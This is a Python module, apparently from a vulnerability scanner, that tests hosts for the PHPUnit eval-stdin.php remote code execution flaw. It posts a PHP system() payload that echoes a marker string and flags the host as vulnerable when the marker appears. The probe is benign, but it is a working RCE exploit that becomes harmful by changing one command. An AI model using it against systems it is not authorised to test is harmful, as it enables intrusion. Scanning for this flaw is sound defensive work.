import requests
import os
from r_ascan.config import HTTP_HEADERS, DEFAULT_TIMEOUT
from r_ascan.module.other import Other

class PHPUnitRCE:
    def __init__(self, args):
        self.args = args
        self.target = args.target
        self.port = f":{args.port}" if args.port else ""
        self.verbose = args.verbose
        self.module_name = os.path.splitext(os.path.basename(__file__))[0]
        self.headers = {**HTTP_HEADERS, "Content-Type": "application/x-www-form-urlencoded"}
        self.printer = Other()
        self.timeout = DEFAULT_TIMEOUT

    def send_payload(self, base_url):
        path = "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
        url = f"{base_url}{path}"
        payload = "<?php system('echo phpunit_vuln_check');?>"

        try:
            if self.verbose:
                print(f"[*] Sending payload to: {url}")

            response = requests.post(
                url,
                headers=self.headers,
                data=payload,
                timeout=self.timeout,
                verify=False
            )

            if "phpunit_vuln_check" in response.text:
                return True, url, response.text

            return False, url, response.text
        except Exception as e:
            if self.verbose:
                print(f"[-] Request to {url} failed: {e}")
            return False, url, str(e)

    def run(self):
        result = {
            "target": self.target,
            "vulnerable": False,
            "details": {}
        }

        protocols = ["http", "https"]
        for proto in protocols:
            base_url = f"{proto}://{self.target}{self.port}"
            is_vuln, url, resp = self.send_payload(base_url)

            colored_module = self.printer.color_text(self.module_name, "cyan")
            colored_target = self.printer.color_text(url, "yellow")

            if is_vuln:
                status = self.printer.color_text("Vuln", "green")
                print(f"[+] [Module: {colored_module}] [{status}] [Target: {colored_target}]")
                result["vulnerable"] = True
                result["details"][proto] = {"url": url}
            else:
                status = self.printer.color_text("Not Vuln", "red")
                if self.verbose:
                    print(f"[*] [Module: {colored_module}] [{status}] [Target: {colored_target}]")

        return result

def scan(args=None):
    return PHPUnitRCE(args).run()
